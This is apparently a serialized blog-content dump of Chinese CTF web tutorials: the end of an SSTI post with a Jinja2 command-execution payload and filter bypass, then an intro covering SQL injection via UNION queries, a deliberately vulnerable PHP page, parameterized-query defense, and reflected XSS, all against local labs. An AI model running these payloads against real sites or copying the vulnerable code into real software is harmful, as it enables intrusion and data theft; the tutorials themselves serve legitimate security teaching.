内容，先改用 ",[27,2462,256],{}," 确认命令是否执行，再排查是不是命令被截断（如空格需要编码）。",[20,2465,2467],{"className":722,"code":2466,"language":724,"meta":25,"style":25},"import requests\n\nurl = \"http://target/\"\npayload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\nr = requests.get(url, params={\"name\": payload})\nprint(r.text)\n",[27,2468,2469,2473,2477,2481,2485,2489],{"__ignoreMap":25},[30,2470,2471],{"class":32,"line":33},[30,2472,2066],{},[30,2474,2475],{"class":32,"line":39},[30,2476,742],{"emptyLinePlaceholder":741},[30,2478,2479],{"class":32,"line":112},[30,2480,2292],{},[30,2482,2483],{"class":32,"line":158},[30,2484,2297],{},[30,2486,2487],{"class":32,"line":164},[30,2488,2302],{},[30,2490,2491],{"class":32,"line":170},[30,2492,2317],{},[16,2494,2495],{},"预期输出中出现：",[20,2497,2500],{"className":2498,"code":2499,"language":301,"meta":25},[299],"flag{ssti_rce}\n",[27,2501,2499],{"__ignoreMap":25},[77,2503,2505],{"id":2504},"第三步被过滤时","第三步：被过滤时",[16,2507,2508,2510,2511,2513],{},[68,2509,262],{},"：把点号换成 ",[27,2512,2173],{},"、把关键词拆到 URL 参数，一条条替换直到成功。",[16,2515,2516],{},"改用 attr 与 request.args 组合：",[20,2518,2521],{"className":2519,"code":2520,"language":301,"meta":25},[299],"/?name={{config|attr('__class__')|attr('__init__')|attr('__globals__')|attr('__getitem__')(request.args.g)|attr('popen')(request.args.c)|attr('read')()}}&g=os&c=cat /flag\n",[27,2522,2520],{"__ignoreMap":25},[11,2524,2526],{"id":2525},"八小结","八、小结",[16,2528,2529,2530,2532,2533,2536,2537,2539,2540,2543],{},"SSTI 主线：探测 ",[27,2531,1689],{}," → ",[27,2534,2535],{},"config.__class__.__init__.__globals__['os']"," 执行命令 → 被过滤就换 ",[27,2538,2173],{},"/",[27,2541,2542],{},"request.args","。理解了对象链，各种过滤只是换写法的问题。",[1464,2545,2546],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":25,"searchDepth":39,"depth":39,"links":2548},[2549,2550,2551,2552,2553,2554,2555,2556],{"id":1499,"depth":112,"text":1500},{"id":1578,"depth":112,"text":1579},{"id":1671,"depth":112,"text":1672},{"id":1861,"depth":112,"text":1862},{"id":2152,"depth":112,"text":2153},{"id":2218,"depth":112,"text":2219},{"id":2403,"depth":112,"text":2404},{"id":2525,"depth":112,"text":2526},"服务端模板注入：搭建 Flask 漏洞环境、探测、命令执行链、过滤器绕过与 tplmap 自动化。",{"date":1481,"image":2559,"alt":2560,"tags":2561,"published":741},"/blogs-img/blog6.png","SSTI 深入实战",[551,1485,2562,1487],"ssti","/blogs/ctf-web-ssti-deep-dive",{"title":1494,"description":2557},"blogs/15. ctf-web-ssti-deep-dive","H68LG4VV4pU8n-1nfoEL6bndV0uPlrJH4gGMRV2-3rs",{"id":2568,"title":2569,"body":2570,"description":4430,"extension":1479,"meta":4431,"navigation":741,"ogImage":4432,"path":4435,"seo":4436,"stem":4437,"__hash__":4438},"content/blogs/9. ctf-web-overview.md","CTF Web 入门：必学漏洞与基础工具",{"type":8,"value":2571,"toc":4418},[2572,2576,2579,2598,2604,2610,2613,2672,2682,2686,2689,2779,2782,2786,2790,2793,2796,2824,2829,2941,2944,2957,2961,2964,2978,2980,2985,2989,2997,3010,3016,3019,3049,3052,3057,3060,3063,3088,3093,3096,3121,3124,3132,3136,3141,3149,3152,3177,3180,3210,3215,3218,3243,3247,3250,3285,3289,3292,3322,3326,3329,3354,3358,3371,3381,3385,3390,3407,3411,3417,3426,3430,3446,3452,3456,3472,3474,3520,3529,3533,3536,3583,3590,3594,3597,3668,3675,3679,3684,3708,3712,3718,3751,3755,3786,3788,3794,3798,3829,3832,3836,3867,3870,3874,3899,3903,3906,3909,3923,3927,3933,3965,3974,3980,4011,4014,4018,4021,4075,4078,4082,4085,4088,4106,4108,4113,4116,4134,4139,4142,4168,4175,4179,4186,4206,4210,4215,4245,4250,4254,4263,4284,4286,4314,4317,4326,4335,4349,4353,4358,4401,4408,4412,4415],[11,2573,2575],{"id":2574},"一开始之前http-请求到底是什么","一、开始之前：HTTP 请求到底是什么",[16,2577,2578],{},"Web 题目就是一个网站，解题就是向它发请求。先看一个请求长什么样。用 curl 访问一个带参数的 URL：",[20,2580,2582],{"className":83,"code":2581,"language":85,"meta":25,"style":25},"curl -v \"http://127.0.0.1:8000/index.php?id=1\"\n",[27,2583,2584],{"__ignoreMap":25},[30,2585,2586,2588,2591,2593,2596],{"class":32,"line":33},[30,2587,282],{"class":92},[30,2589,2590],{"class":117}," -v",[30,2592,286],{"class":285},[30,2594,2595],{"class":96},"http://127.0.0.1:8000/index.php?id=1",[30,2597,292],{"class":285},[16,2599,2600,2603],{},[27,2601,2602],{},"-v"," 会显示完整过程，输出示例：",[20,2605,2608],{"className":2606,"code":2607,"language":301,"meta":25},[299],"> GET /index.php?id=1 HTTP/1.1\n> Host: 127.0.0.1:8000\n> User-Agent: curl/8.0.1\n>\n\u003C HTTP/1.1 200 OK\n\u003C Content-Type: text/html\n\u003C\n\u003Ch1>文章标题\u003C/h1>\n",[27,2609,2607],{"__ignoreMap":25},[16,2611,2612],{},"解释：",[1326,2614,2615,2625],{},[1329,2616,2617],{},[1332,2618,2619,2622],{},[1335,2620,2621],{},"部分",[1335,2623,2624],{},"含义",[1345,2626,2627,2644,2654,2664],{},[1332,2628,2629,2634],{},[1350,2630,2631],{},[27,2632,2633],{},"GET /index.php?id=1",[1350,2635,2636,2637,2640,2641],{},"方法 GET，路径 ",[27,2638,2639],{},"/index.php","，参数 ",[27,2642,2643],{},"id=1",[1332,2645,2646,2651],{},[1350,2647,2648],{},[27,2649,2650],{},"Host",[1350,2652,2653],{},"目标主机",[1332,2655,2656,2661],{},[1350,2657,2658],{},[27,2659,2660],{},"HTTP/1.1 200 OK",[1350,2662,2663],{},"协议版本与状态码，200 表示成功",[1332,2665,2666,2669],{},[1350,2667,2668],{},"正文",[1350,2670,2671],{},"服务器返回的 HTML",[16,2673,2674,2675,2681],{},"Web 漏洞几乎都源于一件事：",[68,2676,2677,2678,2680],{},"参数 ",[27,2679,256],{}," 是用户可控的，服务器却直接把它拼进了 SQL、命令、HTML 或模板","。下面三个漏洞都是这个原因。",[11,2683,2685],{"id":2684},"二环境准备先搭一个能打的靶场","二、环境准备：先搭一个能打的靶场",[16,2687,2688],{},"推荐 sqli-labs（专练 SQL 注入）和 DVWA（综合靶场）。在 Linux（Kali/Ubuntu）上：",[20,2690,2692],{"className":83,"code":2691,"language":85,"meta":25,"style":25},"# 方式一：源码部署（需要 PHP + MySQL）\napt install php php-mysql mariadb-server\ngit clone https://github.com/Audi-1/sqli-labs.git\ncd sqli-labs\nphp -S 127.0.0.1:8000        # 启动后浏览器访问，点 Setup/reset Database\n\n# 方式二：Docker 部署（最简单）\ndocker pull tavenli/sqli-labs\ndocker run -d -p 8000:80 tavenli/sqli-labs\n",[27,2693,2694,2699,2715,2723,2729,2741,2745,2750,2761],{"__ignoreMap":25},[30,2695,2696],{"class":32,"line":33},[30,2697,2698],{"class":2242},"# 方式一：源码部署（需要 PHP + MySQL）\n",[30,2700,2701,2704,2706,2709,2712],{"class":32,"line":39},[30,2702,2703],{"class":92},"apt",[30,2705,1592],{"class":96},[30,2707,2708],{"class":96}," php",[30,2710,2711],{"class":96}," php-mysql",[30,2713,2714],{"class":96}," mariadb-server\n",[30,2716,2717,2719,2721],{"class":32,"line":112},[30,2718,93],{"class":92},[30,2720,97],{"class":96},[30,2722,100],{"class":96},[30,2724,2725,2727],{"class":32,"line":158},[30,2726,106],{"class":105},[30,2728,109],{"class":96},[30,2730,2731,2733,2735,2738],{"class":32,"line":164},[30,2732,24],{"class":92},[30,2734,118],{"class":117},[30,2736,2737],{"class":96}," 127.0.0.1:8000",[30,2739,2740],{"class":2242},"        # 启动后浏览器访问，点 Setup/reset Database\n",[30,2742,2743],{"class":32,"line":170},[30,2744,742],{"emptyLinePlaceholder":741},[30,2746,2747],{"class":32,"line":216},[30,2748,2749],{"class":2242},"# 方式二：Docker 部署（最简单）\n",[30,2751,2752,2755,2758],{"class":32,"line":222},[30,2753,2754],{"class":92},"docker",[30,2756,2757],{"class":96}," pull",[30,2759,2760],{"class":96}," tavenli/sqli-labs\n",[30,2762,2763,2765,2768,2771,2774,2777],{"class":32,"line":228},[30,2764,2754],{"class":92},[30,2766,2767],{"class":96}," run",[30,2769,2770],{"class":117}," -d",[30,2772,2773],{"class":117}," -p",[30,2775,2776],{"class":96}," 8000:80",[30,2778,2760],{"class":96},[16,2780,2781],{},"本文的示例都基于\"自建的最小页面\"，因为自建页面能完整看到源码，理解更透彻。下一节开始逐步搭建。",[11,2783,2785],{"id":2784},"三核心漏洞-1sql-注入完整复现","三、核心漏洞 1：SQL 注入（完整复现）",[77,2787,2789],{"id":2788},"_31-平台与代码","3.1 平台与代码",[16,2791,2792],{},"平台：Linux + PHP + MySQL。",[16,2794,2795],{},"第一步，建数据库。在 MySQL 里执行：",[20,2797,2798],{"className":55,"code":138,"language":57,"meta":25,"style":25},[27,2799,2800,2804,2808,2812,2816,2820],{"__ignoreMap":25},[30,2801,2802],{"class":32,"line":33},[30,2803,145],{},[30,2805,2806],{"class":32,"line":39},[30,2807,150],{},[30,2809,2810],{"class":32,"line":112},[30,2811,155],{},[30,2813,2814],{"class":32,"line":158},[30,2815,161],{},[30,2817,2818],{"class":32,"line":164},[30,2819,167],{},[30,2821,2822],{"class":32,"line":170},[30,2823,173],{},[16,2825,2826,2827,179],{},"第二步，写漏洞页面 ",[27,2828,178],{},[20,2830,2832],{"className":22,"code":2831,"language":24,"meta":25,"style":25},"\u003C?php\n$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n// 上面的 mysqli 构造函数：参数依次是数据库主机、用户名、密码、库名；\n// 返回值是数据库连接对象，后面所有查询都通过它执行。\n\n$id = $_GET['id'];\n// 从 URL 查询参数中取出 id（例如访问 ?id=1 时这里得到字符串 \"1\"）。\n// 注意：$_GET 拿到的永远是字符串，且完全由用户控制。\n\n$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n// 关键漏洞行：用字符串拼接把 $id 直接塞进 SQL 语句。\n// 如果 $id 是 \"1 OR 1=1\"，这条语句就变成\n// SELECT ... WHERE id = 1 OR 1=1，条件恒真，会返回全部记录。\n\n$result = $conn->query($sql);\n// 把拼好的 SQL 字符串发给 MySQL 执行；$result 是结果集对象。\n\nwhile ($row = $result->fetch_assoc()) {\n    // fetch_assoc() 每次取出一行，返回关联数组，例如 ['id'=>1, 'title'=>'hello', ...]\n    // 取不到更多行时返回 null，while 结束。\n    echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n    // 把每行的三个字段拼起来输出到页面，攻击者靠这些输出判断查询结果。\n}\n?>\n",[27,2833,2834,2838,2842,2847,2852,2856,2860,2865,2870,2874,2878,2883,2888,2893,2897,2901,2906,2910,2914,2919,2924,2928,2933,2937],{"__ignoreMap":25},[30,2835,2836],{"class":32,"line":33},[30,2837,189],{},[30,2839,2840],{"class":32,"line":39},[30,2841,194],{},[30,2843,2844],{"class":32,"line":112},[30,2845,2846],{},"// 上面的 mysqli 构造函数：参数依次是数据库主机、用户名、密码、库名；\n",[30,2848,2849],{"class":32,"line":158},[30,2850,2851],{},"// 返回值是数据库连接对象，后面所有查询都通过它执行。\n",[30,2853,2854],{"class":32,"line":164},[30,2855,742],{"emptyLinePlaceholder":741},[30,2857,2858],{"class":32,"line":170},[30,2859,36],{},[30,2861,2862],{"class":32,"line":216},[30,2863,2864],{},"// 从 URL 查询参数中取出 id（例如访问 ?id=1 时这里得到字符串 \"1\"）。\n",[30,2866,2867],{"class":32,"line":222},[30,2868,2869],{},"// 注意：$_GET 拿到的永远是字符串，且完全由用户控制。\n",[30,2871,2872],{"class":32,"line":228},[30,2873,742],{"emptyLinePlaceholder":741},[30,2875,2876],{"class":32,"line":774},[30,2877,203],{},[30,2879,2880],{"class":32,"line":780},[30,2881,2882],{},"// 关键漏洞行：用字符串拼接把 $id 直接塞进 SQL 语句。\n",[30,2884,2885],{"class":32,"line":786},[30,2886,2887],{},"// 如果 $id 是 \"1 OR 1=1\"，这条语句就变成\n",[30,2889,2890],{"class":32,"line":792},[30,2891,2892],{},"// SELECT ... WHERE id = 1 OR 1=1，条件恒真，会返回全部记录。\n",[30,2894,2895],{"class":32,"line":798},[30,2896,742],{"emptyLinePlaceholder":741},[30,2898,2899],{"class":32,"line":804},[30,2900,208],{},[30,2902,2903],{"class":32,"line":810},[30,2904,2905],{},"// 把拼好的 SQL 字符串发给 MySQL 执行；$result 是结果集对象。\n",[30,2907,2908],{"class":32,"line":816},[30,2909,742],{"emptyLinePlaceholder":741},[30,2911,2912],{"class":32,"line":822},[30,2913,213],{},[30,2915,2916],{"class":32,"line":828},[30,2917,2918],{},"    // fetch_assoc() 每次取出一行，返回关联数组，例如 ['id'=>1, 'title'=>'hello', ...]\n",[30,2920,2921],{"class":32,"line":834},[30,2922,2923],{},"    // 取不到更多行时返回 null，while 结束。\n",[30,2925,2926],{"class":32,"line":840},[30,2927,219],{},[30,2929,2930],{"class":32,"line":846},[30,2931,2932],{},"    // 把每行的三个字段拼起来输出到页面，攻击者靠这些输出判断查询结果。\n",[30,2934,2935],{"class":32,"line":852},[30,2936,225],{},[30,2938,2939],{"class":32,"line":858},[30,2940,231],{},[16,2942,2943],{},"第三步，启动：",[20,2945,2947],{"className":83,"code":2946,"language":85,"meta":25,"style":25},"php -S 127.0.0.1:8000\n",[27,2948,2949],{"__ignoreMap":25},[30,2950,2951,2953,2955],{"class":32,"line":33},[30,2952,24],{"class":92},[30,2954,118],{"class":117},[30,2956,121],{"class":96},[77,2958,2960],{"id":2959},"_32-正常请求","3.2 正常请求",[16,2962,2963],{},"输入：",[20,2965,2966],{"className":83,"code":275,"language":85,"meta":25,"style":25},[27,2967,2968],{"__ignoreMap":25},[30,2969,2970,2972,2974,2976],{"class":32,"line":33},[30,2971,282],{"class":92},[30,2973,286],{"class":285},[30,2975,289],{"class":96},[30,2977,292],{"class":285},[16,2979,295],{},[20,2981,2983],{"className":2982,"code":300,"language":301,"meta":25},[299],[27,2984,300],{"__ignoreMap":25},[77,2986,2988],{"id":2987},"_33-判断注入点三步","3.3 判断注入点（三步）",[16,2990,2991,2993,2994,2996],{},[68,2992,252],{},"：确认 ",[27,2995,256],{}," 参数确实能被拼进 SQL 并影响查询逻辑，而不是被框架做了过滤。",[16,2998,2999,3001,3002,3005,3006,3009],{},[68,3000,262],{},"：如果注入成立，那么：① 单引号会破坏 SQL 语法导致报错；② 追加 ",[27,3003,3004],{},"AND 1=1","（恒真）页面正常；③ 追加 ",[27,3007,3008],{},"AND 1=2","（恒假）查询结果为空。三者同时满足即可判定。",[16,3011,3012,3015],{},[68,3013,3014],{},"验证方式","：逐条发送以下三个请求，对比输出。",[16,3017,3018],{},"输入 1：",[20,3020,3022],{"className":83,"code":3021,"language":85,"meta":25,"style":25},"curl \"http://127.0.0.1:8000/vuln.php?id=1'\"\n# 目的：在 id 后追加一个单引号，观察是否报错。\n# 若语句变成 SELECT ... WHERE id = 1'，SQL 语法不完整，MySQL 会报错。\n# 报错 = 输入确实进入了 SQL 语句（注入点存在的第一个证据）。\n",[27,3023,3024,3034,3039,3044],{"__ignoreMap":25},[30,3025,3026,3028,3030,3032],{"class":32,"line":33},[30,3027,282],{"class":92},[30,3029,286],{"class":285},[30,3031,326],{"class":96},[30,3033,292],{"class":285},[30,3035,3036],{"class":32,"line":39},[30,3037,3038],{"class":2242},"# 目的：在 id 后追加一个单引号，观察是否报错。\n",[30,3040,3041],{"class":32,"line":112},[30,3042,3043],{"class":2242},"# 若语句变成 SELECT ... WHERE id = 1'，SQL 语法不完整，MySQL 会报错。\n",[30,3045,3046],{"class":32,"line":158},[30,3047,3048],{"class":2242},"# 报错 = 输入确实进入了 SQL 语句（注入点存在的第一个证据）。\n",[16,3050,3051],{},"预期输出：SQL 语法错误，例如：",[20,3053,3055],{"className":3054,"code":335,"language":301,"meta":25},[299],[27,3056,335],{"__ignoreMap":25},[16,3058,3059],{},"这说明我们的单引号进入了 SQL 语句并破坏了语法。",[16,3061,3062],{},"输入 2：",[20,3064,3066],{"className":83,"code":3065,"language":85,"meta":25,"style":25},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1\"\n# 目的：验证\"能改变查询条件\"。1=1 恒真，若正常返回说明拼接生效。\n# 输出应为 1 hello world，与 id=1 相同，说明 AND 部分被执行。\n",[27,3067,3068,3078,3083],{"__ignoreMap":25},[30,3069,3070,3072,3074,3076],{"class":32,"line":33},[30,3071,282],{"class":92},[30,3073,286],{"class":285},[30,3075,362],{"class":96},[30,3077,292],{"class":285},[30,3079,3080],{"class":32,"line":39},[30,3081,3082],{"class":2242},"# 目的：验证\"能改变查询条件\"。1=1 恒真，若正常返回说明拼接生效。\n",[30,3084,3085],{"class":32,"line":112},[30,3086,3087],{"class":2242},"# 输出应为 1 hello world，与 id=1 相同，说明 AND 部分被执行。\n",[16,3089,295,3090,3092],{},[27,3091,369],{},"（条件为真，正常返回）。",[16,3094,3095],{},"输入 3：",[20,3097,3099],{"className":83,"code":3098,"language":85,"meta":25,"style":25},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2\"\n# 目的：验证\"条件为假时结果为空\"。1=2 恒假，正常应无输出。\n# 输出为空 = 我们的输入确实参与 WHERE 判断，注入点最终确认。\n",[27,3100,3101,3111,3116],{"__ignoreMap":25},[30,3102,3103,3105,3107,3109],{"class":32,"line":33},[30,3104,282],{"class":92},[30,3106,286],{"class":285},[30,3108,388],{"class":96},[30,3110,292],{"class":285},[30,3112,3113],{"class":32,"line":39},[30,3114,3115],{"class":2242},"# 目的：验证\"条件为假时结果为空\"。1=2 恒假，正常应无输出。\n",[30,3117,3118],{"class":32,"line":112},[30,3119,3120],{"class":2242},"# 输出为空 = 我们的输入确实参与 WHERE 判断，注入点最终确认。\n",[16,3122,3123],{},"预期输出：空（条件为假，查不到数据）。",[16,3125,3126,3127,3129,3130,407],{},"三个结果合起来：单引号报错、",[27,3128,402],{}," 正常、",[27,3131,406],{},[77,3133,3135],{"id":3134},"_34-利用union-拖数据","3.4 利用：UNION 拖数据",[16,3137,3138,3140],{},[68,3139,252],{},"：在确认注入后，把数据库里的表结构和数据\"借\"UNION 查询显示到页面上。",[16,3142,3143,3145,3146,3148],{},[68,3144,262],{},"：UNION 可以把两个 SELECT 的结果合并输出，但要求两边列数相同，且第一个查询最好返回空（用不存在的 ",[27,3147,427],{},"），这样页面显示的就是我们构造的第二个查询。因此先数列数，再确定哪一列会回显，最后把要查的内容（库名、表名、flag）放到回显列上。",[16,3150,3151],{},"第一步，确定列数：",[20,3153,3155],{"className":83,"code":3154,"language":85,"meta":25,"style":25},"curl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1\"\n# ORDER BY N 表示按第 N 列排序；列数 >= N 时正常，超出时报错。\n# 依次尝试 N=1,2,3 都正常，N=4 报错，说明该查询恰好有 3 列。\n",[27,3156,3157,3167,3172],{"__ignoreMap":25},[30,3158,3159,3161,3163,3165],{"class":32,"line":33},[30,3160,282],{"class":92},[30,3162,286],{"class":285},[30,3164,454],{"class":96},[30,3166,292],{"class":285},[30,3168,3169],{"class":32,"line":39},[30,3170,3171],{"class":2242},"# ORDER BY N 表示按第 N 列排序；列数 >= N 时正常，超出时报错。\n",[30,3173,3174],{"class":32,"line":112},[30,3175,3176],{"class":2242},"# 依次尝试 N=1,2,3 都正常，N=4 报错，说明该查询恰好有 3 列。\n",[16,3178,3179],{},"第二步，确认哪一列会回显：",[20,3181,3183],{"className":83,"code":3182,"language":85,"meta":25,"style":25},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+\"\n# id=-1：让第一个查询查不到任何记录，这样 UNION 只显示我们构造的部分。\n# SELECT 1,2,3：与原来 3 列对齐；数字 2、3 会显示在页面上，说明这两个位置可回显数据。\n# --+：URL 解码后为 \"-- \"，即 SQL 注释，把原查询后面的代码注释掉。\n",[27,3184,3185,3195,3200,3205],{"__ignoreMap":25},[30,3186,3187,3189,3191,3193],{"class":32,"line":33},[30,3188,282],{"class":92},[30,3190,286],{"class":285},[30,3192,518],{"class":96},[30,3194,292],{"class":285},[30,3196,3197],{"class":32,"line":39},[30,3198,3199],{"class":2242},"# id=-1：让第一个查询查不到任何记录，这样 UNION 只显示我们构造的部分。\n",[30,3201,3202],{"class":32,"line":112},[30,3203,3204],{"class":2242},"# SELECT 1,2,3：与原来 3 列对齐；数字 2、3 会显示在页面上，说明这两个位置可回显数据。\n",[30,3206,3207],{"class":32,"line":158},[30,3208,3209],{"class":2242},"# --+：URL 解码后为 \"-- \"，即 SQL 注释，把原查询后面的代码注释掉。\n",[16,3211,295,3212,3214],{},[27,3213,525],{},"（数字 1 不显示，2、3 的位置可以显示内容）。",[16,3216,3217],{},"第三步，查数据库名：",[20,3219,3221],{"className":83,"code":3220,"language":85,"meta":25,"style":25},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+\"\n# database() 是 MySQL 函数，返回当前数据库名；放到第 2 列（回显位）即可看到。\n# 预期输出 ctf，这一步是为了确认我们在哪个库里，便于后面精确指定表名。\n",[27,3222,3223,3233,3238],{"__ignoreMap":25},[30,3224,3225,3227,3229,3231],{"class":32,"line":33},[30,3226,282],{"class":92},[30,3228,286],{"class":285},[30,3230,544],{"class":96},[30,3232,292],{"class":285},[30,3234,3235],{"class":32,"line":39},[30,3236,3237],{"class":2242},"# database() 是 MySQL 函数，返回当前数据库名；放到第 2 列（回显位）即可看到。\n",[30,3239,3240],{"class":32,"line":112},[30,3241,3242],{"class":2242},"# 预期输出 ctf，这一步是为了确认我们在哪个库里，便于后面精确指定表名。\n",[16,3244,295,3245,128],{},[27,3246,551],{},[16,3248,3249],{},"第四步，查表名：",[20,3251,3253],{"className":83,"code":3252,"language":85,"meta":25,"style":25},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+\"\n# information_schema.tables：MySQL 自带的元数据表，记录所有表名。\n# WHERE table_schema=database()：只筛当前库的表。\n# group_concat(table_name)：把多行表名拼成一行逗号分隔，方便一次性输出。\n# 预期输出 articles,flag,users —— 看到 flag 表，猜测 flag 就存在这里。\n",[27,3254,3255,3265,3270,3275,3280],{"__ignoreMap":25},[30,3256,3257,3259,3261,3263],{"class":32,"line":33},[30,3258,282],{"class":92},[30,3260,286],{"class":285},[30,3262,569],{"class":96},[30,3264,292],{"class":285},[30,3266,3267],{"class":32,"line":39},[30,3268,3269],{"class":2242},"# information_schema.tables：MySQL 自带的元数据表，记录所有表名。\n",[30,3271,3272],{"class":32,"line":112},[30,3273,3274],{"class":2242},"# WHERE table_schema=database()：只筛当前库的表。\n",[30,3276,3277],{"class":32,"line":158},[30,3278,3279],{"class":2242},"# group_concat(table_name)：把多行表名拼成一行逗号分隔，方便一次性输出。\n",[30,3281,3282],{"class":32,"line":164},[30,3283,3284],{"class":2242},"# 预期输出 articles,flag,users —— 看到 flag 表，猜测 flag 就存在这里。\n",[16,3286,295,3287,128],{},[27,3288,576],{},[16,3290,3291],{},"第五步，拿 flag：",[20,3293,3295],{"className":83,"code":3294,"language":85,"meta":25,"style":25},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+\"\n# 上一步猜出 flag 表，这一步直接查它：SELECT 1,flag,3 表示从 flag 表取 flag 列。\n# 如果表名或列名猜错会报错，可回头用 information_schema.columns 查列名再试。\n# 预期输出 flag{sql_injection}，即本题的答案。\n",[27,3296,3297,3307,3312,3317],{"__ignoreMap":25},[30,3298,3299,3301,3303,3305],{"class":32,"line":33},[30,3300,282],{"class":92},[30,3302,286],{"class":285},[30,3304,634],{"class":96},[30,3306,292],{"class":285},[30,3308,3309],{"class":32,"line":39},[30,3310,3311],{"class":2242},"# 上一步猜出 flag 表，这一步直接查它：SELECT 1,flag,3 表示从 flag 表取 flag 列。\n",[30,3313,3314],{"class":32,"line":112},[30,3315,3316],{"class":2242},"# 如果表名或列名猜错会报错，可回头用 information_schema.columns 查列名再试。\n",[30,3318,3319],{"class":32,"line":158},[30,3320,3321],{"class":2242},"# 预期输出 flag{sql_injection}，即本题的答案。\n",[16,3323,295,3324,128],{},[27,3325,641],{},[16,3327,3328],{},"说明：",[3330,3331,3332,3338,3348],"ul",{},[3333,3334,3335,3337],"li",{},[27,3336,427],{},"：让第一个查询返回空，UNION 的结果才显示第二个查询。",[3333,3339,3340,3343,3344,3347],{},[27,3341,3342],{},"--+","：URL 中解码后是 ",[27,3345,3346],{},"-- ","，即 SQL 注释，把后面代码注释掉。",[3333,3349,3350,3353],{},[27,3351,3352],{},"group_concat","：把多行拼成一行，方便一次性输出。",[77,3355,3357],{"id":3356},"_35-防御参数化查询","3.5 防御：参数化查询",[20,3359,3361],{"className":22,"code":3360,"language":24,"meta":25,"style":25},"$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n$stmt->execute([$_GET['id']]);\n",[27,3362,3363,3367],{"__ignoreMap":25},[30,3364,3365],{"class":32,"line":33},[30,3366,1059],{},[30,3368,3369],{"class":32,"line":39},[30,3370,1064],{},[16,3372,3373,3374,3376,3377,3380],{},"此时输入 ",[27,3375,1103],{}," 只会被当作字符串 ",[27,3378,3379],{},"'1 OR 1=1'"," 去比较，不会改变语句结构。",[11,3382,3384],{"id":3383},"四核心漏洞-2xss完整复现","四、核心漏洞 2：XSS（完整复现）",[16,3386,3387,3389],{},[68,3388,252],{},"：理解\"用户输入被当 HTML/JS 输出\"这一漏洞，以及如何构造验证。",[16,3391,3392,3394,3395,3398,3399,3402,3403,3406],{},[68,3393,262],{},"：页面把 ",[27,3396,3397],{},"name"," 原样输出。如果我们传 ",[27,3400,3401],{},"\u003Cscript>alert(1)\u003C/script>","，浏览器会把它当脚本执行。判断方法：先看响应是否原样包含 ",[27,3404,3405],{},"\u003Cscript>"," 标签（用 curl），再用浏览器确认脚本真的执行。",[77,3408,3410],{"id":3409},"_41-平台与代码","4.1 平台与代码",[16,3412,3413,3414,179],{},"任意 Web 应用。示例 ",[27,3415,3416],{},"xss.php",[20,3418,3420],{"className":22,"code":3419,"language":24,"meta":25,"style":25},"\u003C?php echo \"你好，\" . $_GET['name'] . \"！\"; ?>\n",[27,3421,3422],{"__ignoreMap":25},[30,3423,3424],{"class":32,"line":33},[30,3425,3419],{},[77,3427,3429],{"id":3428},"_42-正常请求","4.2 正常请求",[20,3431,3433],{"className":83,"code":3432,"language":85,"meta":25,"style":25},"curl \"http://127.0.0.1:8000/xss.php?name=alice\"\n",[27,3434,3435],{"__ignoreMap":25},[30,3436,3437,3439,3441,3444],{"class":32,"line":33},[30,3438,282],{"class":92},[30,3440,286],{"class":285},[30,3442,3443],{"class":96},"http://127.0.0.1:8000/xss.php?name=alice",[30,3445,292],{"class":285},[16,3447,3448,3449,128],{},"输出：",[27,3450,3451],{},"你好，alice！",[77,3453,3455],{"id":3454},"_43-注入脚本","4.3 注入脚本",[20,3457,3459],{"className":83,"code":3458,"language":85,"meta":25,"style":25},"curl \"http://127.0.0.1:8000/xss.php?name=\u003Cscript>alert(1)\u003C/script>\"\n",[27,3460,3461],{"__ignoreMap":25},[30,3462,3463,3465,3467,3470],{"class":32,"line":33},[30,3464,282],{"class":92},[30,3466,286],{"class":285},[30,3468,3469],{"class":96},"http://127.0.0.1:8000/xss.php?name=\u003Cscript>alert(1)\u003C/script>",[30,3471,292],{"class":285},[16,3473,3448],{},[20,3475,3477],{"className":1715,"code":3476,"language":1717,"meta":25,"style":25},"你好，\n\u003Cscript>\n  alert(1)\n\u003C/script>\n！\n",[27,3478,3479,3484,3493,3506,3515],{"__ignoreMap":25},[30,3480,3481],{"class":32,"line":33},[30,3482,3483],{"class":1724},"你好，\n",[30,3485,3486,3488,3491],{"class":32,"line":39},[30,3487,1725],{"class":1724},[30,3489,3490],{"class":1728},"script",[30,3492,1737],{"class":1724},[30,3494,3495,3498,3501,3503],{"class":32,"line":112},[30,3496,3497],{"class":92},"  alert",[30,3499,3500],{"class":1724},"(",[30,3502,1354],{"class":117},[30,3504,3505],{"class":1724},")\n",[30,3507,3508,3511,3513],{"class":32,"line":158},[30,3509,3510],{"class":1724},"\u003C/",[30,3512,3490],{"class":1728},[30,3514,1737],{"class":1724},[30,3516,3517],{"class":32,"line":164},[30,3518,3519],{"class":1724},"！\n",[16,3521,3522,3523,3525,3526,3528],{},"浏览器会把 